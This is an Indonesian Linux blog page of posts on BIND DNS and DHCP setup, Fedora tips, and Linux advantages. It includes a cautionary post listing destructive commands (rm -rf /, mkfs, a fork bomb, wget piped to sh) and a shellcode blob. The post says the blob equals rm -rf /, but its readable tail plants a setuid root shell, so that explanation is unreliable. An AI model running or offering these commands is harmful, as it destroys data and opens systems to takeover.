Pages

Juli 07, 2011

Membangun Domain Name Services (DNS) Server di Ubuntu

  1. Setiap kali kita meggunakan internet dalam kegiatan kita sehari-hari, maka setiap kali itu pula secara tidak langsung kita menggunakan DNS (Domain Name System). Penggunaan DNS meliputi aplikasi email (electronic-mail), browsing, ssh/telnet, ftp, maupun aplikasi yang lain yang ada kaitannya dengan internet. Fungsi utama dari sebuah system DNS adalah menerjemahkan nama-nama host (hostnames) menjadi nomor IP (IP address) ataupun sebaliknya, sehingga nama tersebut mudah diingat oleh pengguna internet. Fungsi lainnya adalah untuk memberikan suatu informasi tentang suatu host ke seluruh jaringan internet.
    Cara kerja DNS misal ketika kita membuka sebuah situs pada suatu browser ke sebuah host misalnya mail.rw.net maka DNS client menghubung DNS server agar mendapatkan IP domain mail.rw.net. DNS server akan mencari data mengenai mail.rw.net dengan cara menghubungi DNS server tertinggi yaitu . (dot) atau root server. DNS root server menghubungi DNS Server com. DNS server com menghubungi DNS server rw.net. DNS server rw.net mengenal subdomain mail.rw.net dan berhasil menterjemahkan mail.rw.net ke IP. IP tersebut dikirimkan kembali ke DNS client kemudian diberikan ke browser. Browser mengarahkan langsung ke IP mail.rw.net misal 202.51.226.35 untuk menghubungi web server pada ip tersebut.
    DNS terdiri dari 2 jenis yaitu :
  • Primary Name Server adalah DNS server yang bertanggung jawab atas resolusi domain dan subdomain yang di kelolanya.
  • Secondary Name Server adalah DNS server yang secara hierarki setara dengan Primar Name Server namun data-data domain dan sub domain diperoleh dengan menyalin Primar Name Server.
  1. Installasi Bind
    Program DNS yang digunakan oleh kebanyakan distribusi Linux adalah Bind. Hampir semua distribusi Linux menggunakan bind sebagai software/aplikasi default DNS server. Untuk membuat server DNS, tentunya anda harus terlebih dahulu menginstall server DNS yaitu bind. Perintah yang digunakan untuk installasi paket di sistem linux ubuntu, yaitu menggunakan perintah apt-get.
                    $ sudo apt-get install bind9
  1. Konfigurasi DNS Server
    DNS membaca data resolusi pada sekumpulan file konfigurasi yang terdapat pada computer local. File-file tersebut antara lain : 
    /etc/bind/named.conf 
    File konfigurasi ini berisi sekumpulan statement/pertanyaan yang menggunakan opsiopsi yang bersarang dan diapit oleh tanda kurung pembuka dan penutup seperti “{ }”. Dalam mengedit file ini harus hati – hati karena kesalahan dalam mengedit file ini dapat menyebabkan service named tidak dapat berjalan.
  1. Membuat Primary Name Server
    Untuk membuat domain Primary Name Server perlu ditambahkan konfigurasi pada file /etc/bind/named.conf. Konfigurasi tersebut terdiri dari Forward master zone, dan revers master zone. Forward master zone berfungsi untuk mengubah nama menjadi IP, begitu pula sebaliknya revers master zone berfungsi merubah ip menjadi nama. Untuk memulai konfigurasi Edit file tersebut dengan perintah : 
              $ sudo gedit /etc/bind/named.conf 
    Tambahkan baris:

        zone “rw.net” {
               type master;
               file “/etc/bind/db.rw.net”;
        };

        zone “1.168.192.in-addr.arpa” {
               type master;
               file /etc/bind/db.rw.rev”;
        };

Setelah itu buat sebuah file dengan nama filenya sesuai dengan nama file yang sudah di definisikan di dalam file /etc/bind/named.conf, dalam hal ini db.rw.net dan db.rw.rev pada direktori /etc/bind, caranya :
  • Membuat file zona untuk domain rw.net
Buat file /etc/bind/db.rw.net
$ sudo gedit /etc/bind/db.rw.net
Dengan isi file:
$ttl 86400
$ORIGIN rw.net.
@ IN             SOA          ns.rw.net.          admin.rw.net. (
                                                    2007020132
                                                    1H
                                                    15M
                                                    1W
                                                    1D )

rw.net.           IN            NS                rw.net.
rw.net.           IN            A                  192.168.1.1
rw.net.           IN            MX 10          mail.rw.net.
www.rw.net. IN            CNAME       rw.net.
mail.rw.net.   IN            CNAME       rw.net.
ftp.rw.net.     IN            CNAME        rw.net.
Konfigurasi diatas dengan asumsi bahwa alamat IP yang digunakan oleh server adalah 192.168.1.1, nama domain yang digunakan adalah rw.net dan nama komputernya ns. Setelah selesai membuat file db. skull.zone maka dilanjutkan dengan membuat file revers master zone dengan nama file db. skull.rev.
  • Membuat file Revers
Buat file /etc/bind/db.rw.rev
$ sudo gedit /etc/bind/db.rw.rev
Dengan isi file:
@ IN              SOA               ns.rw.net.          admin.rw.net. (
                                                         2007020121
                                                         1H
                                                         15M
                                                         1W
                                                         1D )

1.168.192.in-addr.arpa.        IN      NS          rw.net.
1.1.168.192.in-addr.arpa.     IN      PTR        ns.rw.net.

Keterangan isi file:
Isian
Keterangan
$ORIGIN
Menambahkan nama domain atau zone ke record–record yang tidak qualified
$TTL
Mendefinisikan nilai default Time To Live untuk suatu zone
@
Shortcut yang menyatakan nama domain yang bersesuaian dengan zona ini
IN
Kata kunci Protokol INTERNET
SOA
Nama record SOA
ns.rw.net
Name server yang menangani domain ini
admin.rw.net
Kontak administratif berupa email administrator, dalam hal ini admin@rw.net

  • SOA (Start Of Authority) mengawali file zona, berisi data-data waktu sebuah domain atau subdomain.
  • NS menyatakan Name Server.
  • A menyatakan Address Internet atau alamat IP dari mesin yang ditangani oleh DNS ini proses penerjemahan namanya.
  • CNAME, menyatakan nama alias(canonical name). contoh dibawah ini menyatakan bahwa mail dan www adalah nama alias dari ns1
  • PTR, menyatakan pointer, yaitu reversed-address. Contoh berikut ini menyatakan bahwa IP 192.168.1.1 dipetakan ke nama domain atau subdomain ns.skull.net
  • MX, menyatakan Mail Exchanger, digunakan untuk menunjukan mail server yang menangani email domain atau subdomain ini. Contoh berikut ini menentukan bahwa email untuk rw.net akan di terima oleh mail server mail.rw.net.
  1. Menguji DNS Server
    Setelah konfigurasi selesai bind harus di restart supaya konfigurasi tersebut terbaca, perintahnya sebagai berikut:
        $ sudo /etc/init.d/bind9 restart
    Edit file /etc/resolv.conf, file ini berfungsi mendefinisikan ip DNS Server, gunakan perintah:
        $ sudo gedit /etc/resolv.conf
    Tambahkan baris berikut:
    domain ns.rw.net
    nameserver 192.168.1.1
    Setelah itu periksa apakah DNS server yang dipasang sudah berjalan dengan baik, lakukan dengan menggunakan perintah:
        $ sudo nslookup
        > www.rw.net
        Server:               127.0.0.1
        Address:            127.0.0.1#53
        www.rw.net       canonical name = rw.net.
        Name:                rw.net
        Address:            192.168.1.1 
         
        > mail.rw.net
        Server:               127.0.0.1
        Address:            127.0.0.1#53
        mail.rw.net         canonical name = rw.net.
        Name:                rw.net
        Address:            192.168.1.1 
         
        > ftp.rw.net
        Server:               127.0.0.1
        Address:            127.0.0.1#53
        ftp.rw.net            canonical name = rw.net.
        Name:                rw.net
        Address:            192.168.1.1


Referensi : MEMBANGUN INTRANET DENGAN LINUX Ubuntu
m_taufiq_2005@yahoo.com

Membangun DHCP Server di Ubuntu

DHCP (Dynamic Host Control Protocol)
DHCP memperbolehkan client dalam sebuah network mendapatkan ip dan parameter-parameter lainnya seperti gateway, DNS server, dan WINS server secara otomatis dari DHCP server.

1. Memulai Installasi
    Install paket DHCP server dengan menggunakan perintah berikut:
              $ sudo apt-get install dhcp3-server

2. Konfigurasi DHCP Server
    Konfigurasi DHCP server terletak pada file /etc/dhcp3/dhcpd.conf. Berikut langkah-langkah
    konfigurasi DHCP server:
  1. Edit file /etc/dhcp3/dhcpd.conf
                    $ sudo nano /etc/dhcp3/dhcpd.conf

  1. Edit file tersebut sehingga isi file seperti berikut:
                    …
                    option domain-name "bashcompany.com";
                    option domain-name-servers bashcompany.com;
                    default-lease-time 600;
                    max-lease-time 7200;
                    ...
                    subnet 200.200.200.0 netmask 255.255.255.0 {
                    range 200.200.200.5 200.200.200.254;
                    option routers rtr-1.bashcompany.com;
                    }
                    ...

Penjelasan:
subnet 200.200.200.0 netmask 255.255.255.0 {
Baris ini menjelaskan sub network kita yang akan di berikan ip otomatis.
range 200.200.200.5 200.200.200.254;
Baris ini membahas range ip yang akan diberikan ke client sebagai ip otomatis.
option domain-name-servers bashcompany.com;
Baris ini menjelaskan IP/Domain DNS Server
option domain-name "bashcompany.com";
Baris ini menjaskan domain yang dipakai client.
option routers rtr-1.bashcompany.com;
Baris ini menjelaskan IP default gateway yang di pakai client
default-lease-time 600;
max-lease-time 7200;
baris ini menjelaskan batas pemakaian IP.

  1. Setelah mengedit file tersebut dan menyimpannya, sekarang editlah file /etc/default/dhcp3-server. Cari baris interface lalu tambahkan interface mana yang akan menggunakan DHCP server, missal: eth1.
Sebelum:
INTERFACES=""
Sesudah:
INTERFACES="eth0"

  1. Simpan file tersebut, lalu restart DHCP
                    $ sudo /etc/init.d/dhcp3-server restart
          Jika kita ingin memberikan ip tertentu sesuai MAC Address, maka tambahkan konfigurasi
          berikut pada file /etc/dhcp3/dhcpd.conf

                    host ws-03 {
                    hardware ethernet 08:00:07:26:c0:a5;
                    fixed-address 200.200.200.6;
                    }


catatan :
untuk "bashcompany.com" harap disesuaikan dengan DNS yang akan anda bangun nantinya.

April 16, 2011

Intel GMA 500 di Fedora 14 | Laughlin

Setelah begitu lama mencoba dan mencari cara-cara untuk install Driver VGA Intel GMA 500 untuk Desktop KDE akhirnya sekarang bisa juga,..
langsung aja yukk,..

Langkah 1
Lakukan Update

$ yum check-update && yum update

Langkah 2
Download dan Install rpm fusion
keduanya ya

Langkah 3
Lanjutkan dengan menginstall poulsbo_ppa download di sini
setelah didownload lanjutkan dengan mengeksekusi file tersebut dengan perintah:

$ sh ./poulsbo_ppa.sh

pastikan anda berada dimana file anda disimpan

Lankah 4
Terakhir adalah menginstall beberapa aplikasi berikut

$ yum -y install dkms fakeroot psb-firmware quilt xpsb-glx xorg-x11-drv-psb

selesai

restart kompie untuk melihat hasilnya

April 14, 2011

Perintah Dasar Linux

Dunia Linux atau umumnya keluarga unix mempunyai perbedaan jauh di bandingkan dengan system operasi lain, misalnya Microsoft Windows. Dikarenakan terbiasa dengan windows maka akan sangat sulit jika harus langsung berhadapan dengan linux. Secara teoritis sebelum menggunakan linux hal dasar yang harus di ketahui ialah istilah-istilah yang ada di Linux. Shell salah satu istilah yang umum diperbincangkan tapi banyak juga yang sampai detik ini belum mempunyai gambaran jelas, padahal shell ialah tempat konfigurasi dan menjalankan / mengoperasikan Linux.

Shell secara singkat seperti MS Dos milik Microsoft. Memang benar bahwa dibutuhkan hafalan-hafalan perintah jika ingin melakukan sesuatu. Contohnya proses copy file, jika ingin mengcopy file maka perlu mengetikkan perintah tertentu dan mungkin anda berfikir terlalu lama. Jika dibandingkan dengan window manager seperti KDE anda hanya dengan memainkan mouse saja.

Perintah pada shell sebenarnya sangat mudah. Semua daftar perintah mudah dihafal. Contohnya ls berasal dari kata list, cp berasal dari kata copy. Namun untuk melihat argument (atribut) yang lengkap dapat anda ketikkan :

$ man nama_perintah
contoh:
$ man cp

Untuk keluar dari man ketik q
Untuk mengetahui lebih jelas dan banyak mengenai perintah dasar shell langsung aja donlot disini,..
1. A-Z Bash Command Line For Linux
2. Command Line For Linux

Memutar File Mp3 di Fedora 14

bingung mau menjalankan file mp3 setelah menginstall fedora 14 kde?
ya, itu juga yang saya alami saat selesai menginstall fedora 14 kde. jeleknya lagi, pada saat software audio tidak bisa menjalankan file mp3, tidak ada muncul pilihan untuk mendownload plugins yang bisa memutar file mp3 tersebut, dan tidak diberitahukan pula plugins apa yang digunakan untuk memutar file mp3 itu. jadi repot dech.. :D

langsung aja yach..

download rpm fusion disini :
1. rpm fusion free
2. rpm fusion non-free

download keduanya ya..

kalo udah didownload, buka file tersebut satu persatu dan kemudian install.

setelah itu, buka terminal console, dan ketikkan :
$: su
$: yum update
$: yum install gstreamer-plugins-ugly

perintah diatas di eksekusi satu persatu.
itu aja. gampang kan? ya udah. sekarang fedora udah bisa memutar file mp3.
jangan lupa install amarok biar bagus.. :D

Sumber : http://forums.fedoraforum.org/showthread.php?p=1440019

Install Compiz Fusion di Fedora 14

Oke,..tutorial kali ini gax ribet-ribet kok,..Disini akan tampak kalu Linux itu punya Dekstop yang keren dan sedap di pandang mata, bahkan lebihsedap ketimbang Windows. Langsung aja yuk,...
1. Coba cek, grapich card kamu sudah dikenal oleh Fedora atau belum

    $ glxinfo | grep direct

jika muncul tulisan " direct rendering: Yes "
Berarti sudah dikenal dan di support oleh Fedora. Jika belum silahkan kamu install grapich card sesuai dengan yang kamu punya atau kamu belum mengetahui garapich card yang kamu punya, silahkan cek dengan perintah berikut:

    $ lspci | grep -i vga

2. Install Compiz Fusion dan paket pendukungnya

GNOME
    $ yum install ccsm emerald-themes compizconfig-backend-gconf fusion-icon-gtk emerald compiz-fusion 
         compiz-fusion-gnome libcompizconfig compiz-gnome compiz-bcop compiz compizconfig-python
         compiz-fusion-extras compiz-fusion-extras-gnome

KDE
     $ yum install ccsm emerald-themes compizconfig-backend-kconfig fusion-icon-qt emerald compiz-fusion 
        libcompizconfig compiz-bcop compiz compizconfig-python compiz-fusion-extras  compiz-kde compiz-manager


3. Aktifkan desktop effect, System > Preferences > Desktop Effects. Lalu Klik Compiz, pilih Keep Setting.

4. Buka window CCSM (Compiz Config Setting Manager), System > Preferences > CompizConfig Settings Manager.
 Nah, disini kamu bisa mengatur animasi atau efect apa saja yang ingin digunakan. Silahkan ber-eksperimen sendiri ya. 


5. Untuk mengaktifkan semua efek yang ingin kamu gunakan, klik dulu Compiz Fusion Icon. Application >> System Tools >> Compiz Fusion Icon.


6. Selesai, coba liat efek yang saya gunakan ini :

35 Kelebihan Linux

Linux adalah sebuah jenis sistem operasi awalnya dibuat oleh Linus Torvalds dengan bantuan dari pengembang di seluruh dunia. Dikembangkan di bawah GNU General Public License, kode sumber untuk Linux tersedia secara bebas untuk semua orang. Ada banyak Varian dari Linux yang di kembangkan di seluruh dunia sebagai Sistem operasi yang Free dan Open source dapat di lihat Distrowacth yang sering di kenal dengan Istilah FOSS (Free/Open Source Software). Foss adalah Konsep berbagi , merdeka dan terbuka.


1. Anda tidak perlu membeli Linux OS dan mengeluarkan Uang yang mahal untuk membeli CD Windows yang Original.

2. Anda tidak Perlu takut Untuk di Sweeping atau di Razia Software karena Linux Free.

3. Anda telah membantu mengurangi Pembajakan Software dan tidak perlu membeli Licensi Key/ Keygen.

4. Apakah Anda suka internet? The TCP / IP protokol dibangun pada UNIX komputer.

5. Sedangkan Windows hanya embraced TCP / IP sebagai protokol asli dari Windows 2000.

6. Sobat tidak perlu defragment Linux Selalu untuk selamanya.

7. Linux lebih aman karena Linux memiliki filosofi menjalankan proses pada tingkat terendah yang diperlukan akses.

8. Lebih dari 80% dari atas 500 supercomputers di dunia menjalankan Linux.

9. Jika anda memerlukan sebuah kantor suite Anda dapat men-download Open Office (Free).

10. Anda tidak menderita vendor lock-in dengan Linux.

11. Linux OS dapat menjalankan distribusi yang sama persis pada sistem 32-bit, 64-bit sistem sedangkan Windows Bajakan yang sering digunakan di Indonesia adalah Windows 32 Bit.

12. Komunitas linux adalah orang yang berlimpah dengan keinginan untuk saling membantu memecahkan masalah apapun pengalaman serta berbagi tips dan ide untuk kreativitas.

13. Linux tidak crash tanpa alasan jelas sewaktu di Jalankan.

14. Linux tidak dapat membuat sistem anda unusable seperti yang sering di temukan di Windows.

15. Pada Sistem Operasi Windows ketika selesai Update Antivirus dan Instal software seringnya meminta untuk Restart/reboot bahkan kadang Restart secara Otomatis (Windows Maksa Bro biar systemnya Update).Tetapi Linux tidak reboot dengan sendirinya (Otomatis).

16. Linux dapat membaca dengan baik lebih dari seratus berbagai jenis file system.

17. Sobat memiliki hak untuk mengubah apa-apa saja yang berada di dalam Linux jika memiliki kemampuan dan skill asal masih mencantumkan Varian Linuxnya.

18. Sobat tidak akan terjebak dengan legacy application dimana vendor maupun providernya telah ditutup dan tak dapat memperbaruinya.

19. Linux happily akan menginstal sendiri pada partisi hardisk logis. Anda tidak dibatasi untuk partisi utama.

20. Linux dapat dijalankan dari CD tanpa harus mempengaruhi apa yang sudah di hard disk dari komputer. (IGOS OS yang murni Sistem Operasi buatan Indonesia yang di ambil dari Varian Fedora Linux).

21. Tidak ada 1 Sistem Operasipun yang bisa meng-klaim terbebas dari serangan Virus maupun Trojan termasuk Linux. Tapi setidaknya Linux tetap lebih aman karena Linux merupakan Open source dan masih sedikitnya orang yang mengetahui tentang Scripting pembuatan Virus di Linux..hehe

22. Pada Linux Anda mendapatkan khusus suite yang berisikan pendidikan dan permainan. Windows versi ini tidak dikembangkan, dan harus membeli Licensi.

23. Anda tidak perlu untuk mencari Resor vendor atau menggunakan situs Windows Update untuk melakukan sesuatu pekerjaan.

24. Anda dapat membuat sendiri distro Linux jika Anda inginkan. Bayangkan "MyLinux" untuk diberikan kepada semua teman dan keluarga Anda.Kidding Sob...dan dengan catatan kita bisa mendistribusikannya ke setiap orang tanpa harus per-izinan alias Birokrasi dan akhirnya anda terkenal deh..

25. Linux dapat membantu Anda menghapus spam tanpa biaya. Bahkan, Spam Assassin - salah satu yang paling populer open source anti-spam system - adalah dasar dari banyaknya komersial produk anti-spam. Kontras oleh produk seperti Symantec Mail Keamanan adalah sekitar $ 30/mailbox. Layanan seperti MessageLabs juga biaya per surat. (Waw mending buat email Baru deh kalau email Saya di kirim Spam Assassin daipada Bayar!)

26. Perangkat lunak open source menawarkan versi yang lebih baik dari Microsoft Office SharePoint Server dari Microsoft.

27. Linux adalah sebuah sistem multi-user . Anda dapat memiliki banyak ratusan semua pengguna Linux yang bekerja di salah satu sistem. Sedangkan Windows Terminal Services menawarkan tapi tidak standar, dan ada yang ekstra lisensi per pengguna.

28. Linux sangat kuat bahasa scripting yang memberikan kekuatan besar untuk sistem administrator.

29. Proyek honeypot menemukan bahwa sebuah unpatched Linux server dapat lebih bertahan jika terkoneksi dengan Internet.sementara patch Windows' server akan bangkrut dalam waktu beberapa jam. Bahkan tanpa patch, Linux masih lebih baik daripada Windows.

30. An out-of-the-box sistem Linux dapat digunakan untuk yang jauh lebih besar dari berbagai kepentingan yang out-of-the-box sistem Windows. Anda akan mail server, web server, database server, dan file-print server, intranet server, remote akses server, VPN server, server FTP - apapun yang Anda inginkan, benar-benar.

31. Linux tidak membatasi bagaimana konten digunakan pada sistem. Tidak ada manajemen hak digital (DRM) perlambatan bawah komputer atau menyebabkan konflik dengan hardware atau software. Tinggi kualitas audio visual keluaran tidak artificially direndahkan. Dengan Linux anda dapat memutar musik, menonton film dan menjalankan perangkat lunak. Sistem operasi tidak akan terganggu dengan adil-hak untuk menggunakan konten Anda sendiri.

32. Sobat tidak akan menanyakan ke Mama...Ma mengapa RUNDLL32.EXE ?? hehe..

33. Berapa banyak kertas dan plastik yang digunakan untuk membuat dan mendistribusikan semua kotak set produk Microsoft? Linux adalah bebas didownload dari Internet.

34. Beberapa vendor perangkat keras seperti ASUS akan mencari embedding Linux di silicon untuk membuat generasi berikutnya komputer mulai lebih cepat. Anda tidak boleh melakukan ini dengan Windows, dan jika tidak mungkin ia akan datang dengan kenaikan harga karena perizinan.

35. Linux tidak akan mati karena open source dan Free. Tidak seperti Sistem Operasi yang Lain. Maaf Ya Vendor yang OS yang telah Tutup BeOS, AmigaOS.


Jadi mari kita berbondong - bondong mencoba Linux
Yang jelas LINUX itu Free dan HALAL


Info : http://hacker-newbie.org

7 Perintah Berbahaya Di Linux

Berikut adalah 7 perintah berbahaya yang disarikan dari 7 Deadly Command :

1. Perintah " rm -rf / "
Perintah ini akan menghapus seluruh isi folder / (root folder atau root directory). Root folder memang dilindungi oleh hak akses user root, tapi akan sangat berbahaya jika perintah diatas dieksekusi saat kita berada dalam hak akses root. Itulah mengapa sangat dianjurkan untuk menggunakan hak akses user biasa untuk kegiatan sehari-hari. Perintah diatas juga tetap berbahaya jika dijalankan oleh user biasa yang dapat merusak isi folder miliknya sendiri.

2. Perintah menggunakan bilangan hexa

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Perintah diatas sama dengan perintah pada nomor 1 hanya saja ditulis dalam bilangan hexa. Jika dieksekusi, sama halnya menghapus seluruh isi folder (rm -rf /). Karena ditulis dalam bilangan hexa, perintah ini bisa juga menjebak user Linux yang berpengalaman.

3. Perintah mkfs.ext3 /dev/sda
Perintah ini sama halnya melakukan perintah format pada partisi yang ditunjuk.

4. Perintah forkbomb :(){:|:&};:
Perintah ini akan memerintahkan sistem untuk mengeksekusi berbagai proses sampai hang. Biasanya akan mengakibatkan hilangnya data karena komputer terpaksa harus dimatikan secara paksa.

5. Perintah apapun > /dev
Perintah ini akan menimpa sistem file device yang ditunjuk dan pada akhirnya bisa menyebabkan hilangnya data yang dimounting pada folder /dev (folder /dev biasa digunakan untuk menempatkan keterangan hardware dan harddisk).

6. Perintah untuk eksekusi file shell tertentu
Perintah wget http://alamat-url-yang tidak-jelas -O- | sh akan memerintahkan Linux untuk langsung menjalankan file sh yang ditunjuk. File sh adalah file eksekusi di Linux, sama halnya file .exe. Jangan sekali-kali melakukan perintah diatas untuk file sh yang tidak jelas sumber dan peruntukannya.

7. Perintah memindahkan home folder ke /dev/null
mv /home/home-directory/* /dev/null
Perintah ini akan memindahkan seluruh data di home folder ke file null (file yang sebenarnya tidak ada). File yang dipindahkan akan hilang selamanya tanpa ada backup…

Selain 7 perintah diatas, ada beberapa perintah lainnya yang mungkin belum dimasukkan disini. Prinsip hati-hati dalam menjalankan suatu perintah merupakan hal mutlak yang harus selalu diingat oleh pengguna Linux. 
Info : http://hacker-newbie.org

April 01, 2011

Konsep & Cara Kerja DNS

Kemaren habis dapat bahan buat baca-baca dari linux.or.id. Jadi saya posting aj di blog,..ya lumayan bagi yang pengen tau Konsep & Cara Kerjanya DNS itu kayak gimana,...yuk langsung aja bacanya.......

DNS (Domain Name System) adalah suatu system yang mengubah nama host (seperti linux.or.id) menjadi alamat IP (seperti 64.29.24.175) atas semua komputer yang terhubung langsung ke Internet. DNS juga dapat mengubah alamat IP menjadi nama host.

DNS bekerja secara hirarki dan berbentuk seperti pohon (tree). Bagian atas adalah Top Level Domain (TLD) seperti COM, ORG, EDU, MIL dsb. Seperti pohon DNS mempunyai cabang-cabang yang dicari dari pangkal sampai ke ujung. Pada waktu kita mencari alamat misalnya linux.or.id pertama-tama DNS bertanya pada
TLD server tentang DNS Server yang melayani domain .id misalnya dijawab ns1.id, setelah itu dia bertanya pada ns1.id tentang DNS Server yang bertanggung jawab atas .or.id misalnya ns.or.id kemudian dia bertanya pada ns.or.id tentang linux.or.id dan dijawab 64.29.24.175

Sedangkan untuk mengubah IP menjadi nama host melibatkan domain inaddr.arpa. Seperti domain lainnya domain in-addr.arpa pun bercabang-cabang. Yang penting diingat adalah alamat IP-nya ditulis dalam urutan terbalik di bawah in-addr.arpa. Misalnya untuk alamat IP 64.29.24.275 prosesnya seperti contoh linux.or.id: cari server untuk arpa, cari server untuk in-addr.arpa, cari server untuk 64.in-addr.arpa, cari server 29.64.in-addr.arpa, cari server untuk 24.29.64.inaddr.arpa. Dan cari informasi untuk 275.24.29.64.in-addr.arpa. Pembalikan urutan angkanya memang bisa membingungkan.


DNS Server di Linux
DNS Server di linux biasanya dijalankan oleh program yang bernama named. Program ini merupakan bagian dari paket bind yang dikoordinasikan oleh Paul Vixie dari The Internet Software Consortium. Biasanya program ini terletak di /usr/sbin/named dan dijalankan pada waktu booting dari /etc/rc.d/init.d/named start. Agar named dijalankan pada setiap booting masukkan named ke daftar server yang harus distart dengan menggunakan ntsysv.


File Konfigurasi
File konfigurasi untuk named adalah /etc/named.conf yang seperti biasa adalahtext file. Format file ini seperti format program C atau Pascal yakni tiap perintahdiakhiri dengan ';' dan blok perintah di kurung dengan '{' dan '}'. Adabeberapa blok yang sering digunakan yaitu :
options     untuk mengatur konfigurasi server secara global dan menentukan default
zone         untuk mengatur konfigurasi zona DNS


Caching Only DNS Server
Caching Only DNS Server akan mencari jawaban dari pertanyaan DNS dan mengingat jawabannya ketika anda bertanya lagi. Ini akan mempersingkat waktu tunggu pada pertanyaan DNS berikutnya terutama jika anda menggunakan koneksi yang lambat seperti modem.


Konfigurasi
File konfigurasi Caching Only DNS sudah disediakan oleh RedHat dalam paket caching-nameserver anda tinggal menginstal paketnya dan mengedit file /etc/named.conf dan menambahkan baris berikut pada blok options :

              forward first;
              forwarders {
                  202.158.3.6;
                  202.158.3.7;
              };


Kedua alamat IP diatas adalah alamat IP untuk DNS Server ISP saya yaitu CBN jika ISP anda berbeda anda harus menggantinya.


Membuat Domain Sendiri
Pada bagian ini kita akan membuat domain untuk jaringan lokal (LAN) misalnya intra.aki. Ada baiknya menggunakan domain yang benar-benar tidak ada di Internet sehingga kita tidak mengganggu domain siapa pun. Perlu diingat bahwa tidak semua karakter diperbolehkan untuk menjadi nama host yang dibolehkan
hanya A-Z, a-z, 0-9 dan karakter '-'. Selain itu namahost itu tidak bergantung pada huruf besar atau huruf kecil, jadi linux.intra.aki dan LINUX.Intra.AKI adalah sama. Kita masih mengedit file yang berasal dari paket caching-nameserver.


Tambahan di /etc/named.conf

Pertama kita mengedit file /etc/named.conf untuk menambahkan baris berikut :

zone "intra.aki" {
              type master;
              notify no;
              file "intra.aki";
}


Yang berarti bahwa kita membuat zona domain intra.aki dimana kita adalah penguasa domain tersebut (type master) tetapi kita tidak ingin domain ini tersebar ke internet (notify no) dan informasi tentang anggota  domainnya itu sendiri disimpan di file intra.aki di direktori yang ditentukan oleh keyword direktory dari blok options yang berisi /var/named


File Zona intra.aki
Kemudian kita membuat file zona intra.aki yang berisi informasi tentang anggota domain

; Zone file for intra.aki
@                  IN              SOA              ns.intra.aki. root.intra.aki. (
                                                                     2000091401 ; serial
                                                                     8H ; refresh
                                                                     3H ; retry
                                                                     1W ; expire
                                                                     1D ; default_ttl
                                                                      )
                                                                      NS ns
                                                                      A 192.168.1.100
                                                                      MX 10 linux.intra.aki.
                                                                      MX 20 other.extra.aki.
localhost                     A 127.0.0.1
linux                           A 192.168.1.100
ns                               A 192.168.1.100
ftp                              CNAME linux
pop                            CNAME linux
www                          CNAME linux.intra.aki
cctv                            A 192.168.1.3


Perhatikan tanda '.' pada akhir dari nama domain di file ini. File zona ini mengandung 9 Resource Record (RR): satu SOA RR, satu NS RR, tiga CNAME RR dan empat AA RR. SOA merupakan singkatan dari Start Of Authority. Karakter “@” berarti nama domain dari zona yaitu intra.aki jadi baris kedua diatas berarti

intra.aki.      IN         SOA ....

NS adalah Name Server RR. Tidak ada “@” pada awal baris karena baris diatasnya dimulai dengan '@'. Menghemat waktu mengetiknya. Jadi baris NS bisa juga di tulis

intra.aki.         IN        NS      ns

Ini memberitahu DNS host mana yang menjadi name server bagi domain intra.aki yakni ns.intra.aki. 'ns' adalah nama yang biasa dipakai untuk name server, tetapi seperti web server yang biasa dinamakan www.anu namanya bisa diubah menjadi apapun. Baris SOA adalah pembuka bagi semua file zona dan harus ada satu
dalam setiap file zona. Baris tersebut menjelaskan zona, darimana dia datan (host bernama ns.intra.aki), siapa yang bertanggung jawab atas isinya (root@intra.aki), versi zona file (serial: 2000091401) dan parameter lainnya yang berhubungan dengan caching dan secondary DNS Server. Perlu diperhatikan bahwa ns.intra.aki haruslah nama host dengan A RR. Tidak diperbolehkan membuat CNAME RR untuk nama yang disebutkan di SOA. RR A mendefinisikan alamat IP dari suatu nama host sedangkan CNAME mendefinisikan nama alias dari suatu host yang harus merujuk ke RR lainnya. Ada satu lagi tipe RR pada file ini yaitu MX atau Mail eXchanger. RR ini berfungsi untuk memberitahukan sistem mail kemana harus mengirim e-mail yang di alamatkan ke seseorang@intra.ak i dalam hal ini linux.intra.aki atau other.extra.aki. Angka sebelum nama host adalah prioritas MX. RR dengan angka terendah (10) adalah host yang harus dikirimkan email pertama kali. Jika tidak berhasil maka e-mail bisa dikirim ke host lain dengan angka yang lebih besar misalnya  other.extra.aki yang mempunyai prioritas 20.


Zona Reverse
Zona Reverse diperlukan untuk mengubah dari alamat IP menjadi nama. Nama ini digunakan oleh berbagai macam server (FTP, IRC, WWW dsb) untuk menentukan apakah anda diperbolehkan mengakses layanan tersebut atau sejauh mana prioritas yang diberikan kepada anda. Untuk mendapatkan akses yang penuh
pada semua layanan di Internet diperlukan zona reverse.


Tambahan di /etc/named.conf
Tambahkan baris berikut di /etc/named.conf

zone "1.168.192.in-addr.arpa" {
              notify no;
              type master;
              file "192.168.1";
}


Seperti sebelumnya artinya kita membuat zona domain 1.168.192.in-addr.arpa yang tidak disebar ke internet dan disimpan di file /var/named/192.168.1


File zona 192.168.1
Sekarang kita membuat file zona 192.168.1 untuk domain 1.168.192.in-addr.arpa seperti berikut:

; Zone file for reverse zone 1.168.192.in-addr.arpa (192.168.1.x)
@              IN       SOA        ns.intra.aki. root.intra.aki. (
                                                    2000072801 ; serial
                                                    28800 ; refresh
                                                    7200 ; retry
                                                    604800 ; expire
                                                    86400 ; default_ttl
                                                    )
@              IN       NS            ns.intra.aki.
100            IN       PTR         linux.intra.aki.
3                IN       PTR         cctv.intra.aki.


Ada RR baru disini yakni PTR yang berfungsi untuk memetakan IP ke nama host


Security
Jika anda memasang DNS server pada komputer yang berfungsi sebagai gateway antara jaringan internal anda dengan jaringan Internet serta DNS Server anda tidak melayani request dari luar (caching only DNS atau DNS untuk jaringan lokal saja) maka anda bisa membuat named untuk melayani hanya jaringan lokal saja dengan menambah baris berikut di dalam blok options :

listen-on { 127.0.0.1; 192.168.1.100; };

